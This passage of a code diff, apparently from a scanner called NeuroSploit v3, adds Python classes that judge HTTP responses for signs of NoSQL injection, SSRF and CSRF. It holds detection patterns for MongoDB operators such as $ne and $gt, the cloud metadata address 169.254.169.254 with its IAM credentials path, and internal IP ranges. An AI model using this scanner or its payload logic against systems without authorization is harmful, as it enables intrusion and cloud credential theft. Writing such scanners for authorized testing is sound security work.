self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for NoSQL injection indicators"""
# MongoDB errors
nosql_errors = [
r"MongoError", r"MongoDB", r"bson",
r"\$where", r"\$gt", r"\$ne",
r"SyntaxError.*JSON"
]
for pattern in nosql_errors:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.7, f"NoSQL error indicator: {pattern}"
# Check for authentication bypass
if "$ne" in payload or "$gt" in payload:
if response_status == 200 and "success" in response_body.lower():
return True, 0.6, "Possible NoSQL authentication bypass"
return False, 0.0, None
@@ -0,0 +1,99 @@
"""
NeuroSploit v3 - Request Forgery Vulnerability Testers
Testers for SSRF and CSRF
"""
import re
from typing import Tuple, Dict, Optional
from backend.core.vuln_engine.testers.base_tester import BaseTester
class SSRFTester(BaseTester):
"""Tester for Server-Side Request Forgery"""
def __init__(self):
super().__init__()
self.name = "ssrf"
# Cloud metadata indicators
self.cloud_indicators = [
r"ami-[a-z0-9]+", # AWS AMI ID
r"instance-id",
r"iam/security-credentials",
r"compute/v1", # GCP
r"metadata/instance",
r"169\.254\.169\.254"
]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for SSRF indicators"""
# Check for cloud metadata
for pattern in self.cloud_indicators:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.95, f"SSRF to cloud metadata: {pattern}"
# Check for internal service indicators
internal_indicators = [
r"localhost",
r"127\.0\.0\.1",
r"192\.168\.\d+\.\d+",
r"10\.\d+\.\d+\.\d+",
r"172\.(?:1[6-9]|2\d|3[01])\.\d+\.\d+"
]
for pattern in internal_indicators:
if pattern in payload and re.search(pattern, response_body):
return True, 0.8, f"SSRF accessing internal resource: {pattern}"
# Check for different response when internal URL requested
if response_status == 200 and len(response_body) > 100:
if "169.254" in payload or "localhost" in payload or "127.0.0.1" in payload:
return True, 0.6, "Response received from internal URL - possible SSRF"
return False, 0.0, None
class CSRFTester(BaseTester):
"""Tester for Cross-Site Request Forgery"""
def __init__(self):
super().__init__()
self.name = "csrf"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for CSRF vulnerability indicators"""
# Check for missing CSRF protections
csrf_protections = [
r'name=["\']?csrf',
r'name=["\']?_token',
r'name=["\']?authenticity_token',
r'X-CSRF-TOKEN',
r'X-XSRF-TOKEN'
]
has_protection = any(
re.search(pattern, response_body, re.IGNORECASE)
for pattern in csrf_protections
)
# Check SameSite cookie
has_samesite = "samesite" in str(response_headers).lower()
# State-changing request without protection
if not has_protection and not has_samesite:
if response_status in [200, 302]:
return True, 0.7, "No CSRF token found in form - possible CSRF"
return False, 0.0, None